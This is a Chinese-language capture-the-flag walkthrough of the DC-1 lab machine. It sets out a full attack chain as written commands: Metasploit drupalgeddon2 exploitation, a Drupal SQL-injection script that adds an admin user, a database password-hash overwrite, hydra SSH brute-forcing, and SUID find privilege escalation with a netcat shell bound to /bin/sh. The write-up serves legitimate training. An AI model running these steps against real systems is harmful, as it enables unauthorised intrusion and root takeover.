大前端

前端学习之家-大前端

DC-1靶机

DC-1

  • 下载运行
  • 信息收集
    • 存活主机及其端口探测
    • 网站指纹识别
    • 目录扫描
  • 寻找漏洞
  • 漏洞利用
    • 反弹shell
    • 系统信息收集
    • 方法一
    • 方法二
  • 提权

下载运行

DC-1
需要用VMware15以上版本打开,出现报错时直接点重试。
在这里插入图片描述
在这里插入图片描述

信息收集

存活主机及其端口探测

从结果中可知主机开放了80端口开放了apache web,并可知网站基于Drupal7,111端口开放了rpcbind服务。
在这里插入图片描述
在这里插入图片描述
爆破SSH失败

nmap --script=ssh-brute 192.168.124.145

网站指纹识别

访问网站,wappalyer自动识别网站指纹。
在这里插入图片描述

目录扫描

python3 dirsearch.py -u http://192.168.124.154/ -e* -i 200

在这里插入图片描述
挨个访问没有发现可用信息。

寻找漏洞

针对收集到的信息,在各大搜索引擎,首先针对登录框进行SQL注入和逻辑漏洞测试,发现不存在,但在Requst new password模块发现存在admin用户。
在这里插入图片描述
在这里插入图片描述
搜索到Drupal存在任意代码执行漏洞。

漏洞利用

反弹shell

在MSF中利用

msfconsole -q
search name:drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set 192.168.124.154
run

在这里插入图片描述
返回shell,在shell里发现目标机器有python,反弹交互式shelll,寻找flag文件。
在这里插入图片描述

系统信息收集

在现有权限下,寻找flag。
打开flag1.txt试试。
在这里插入图片描述
提示去查看配置文件,在网上搜到Drupal配置默认路径,查看大仙flag2和数据库账号密码。
在这里插入图片描述
尝试连接,连接成功,通过学习,知道了drupal node机制,于是查看node和user表,发现flag3和admin的密码Hash.
drupal node机制理解
在这里插入图片描述
密码无法解密,这有两种方法,

方法一

百度了一下drupal重置管理员密码。发现了这个
http://drupalchina.cn/node/1964
直接进入drupal的安装目录,然后运行命令,
(注意:不要进入scripts目录,会报错)
重置密码:

php ./scripts/password-hash.sh newpassword
update users set pass='$S$Dsv27gPQHbWti67qhEMR2V1HPO/hU5V1jONPedX.eb5cmYlX7U.1' where name='admin';

在这里插入图片描述
在这里插入图片描述
尝试登录。这里避个雷,该靶机对账号登录次数进行了限制,限制5次,超过五次账号就被错了,所以你在改密码之前不能登录超过五次,不然改了也登录不了。

方法二

查看Drupal版本,确定Drupal版本为7.24。
在这里插入图片描述
搜索利用脚本,

searchsploit drupal

在这里插入图片描述
利用34992.py脚本,增加一个admin权限用户,本地运行:

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.124.154 -u admin1 -p admin1

登录数据库,发现flag3
在这里插入图片描述
打开flag3,提示打开/etc/passwd文件。发现flag4用户及flag4文件的路径。查看flag4文件。
在这里插入图片描述
使用 hydra 进行爆破flag4用户。

 hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.158 ssh -vV -f -o hydra.ssh
1.-l 指定用户名
2.-P 加载密码字典(自定义)
3.ssh://ip 指定使用协议和ip地址
4.爆破密码为:flag4/orange

在这里插入图片描述
提示我们查看root文件夹,但查看root文件夹需要root权限。

提权

suid提权
利用find命令查找设置了SUID的可执行文件,结果找到了find自己
在这里插入图片描述
find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了。
反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门

1.
/usr/bin/find ./aaa -exec '/bin/sh'  \;
2.
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444

1,
在这里插入图片描述
2,
在这里插入图片描述
在这里插入图片描述

发表评论:

Copyright Your WebSite.Some Rights Reserved.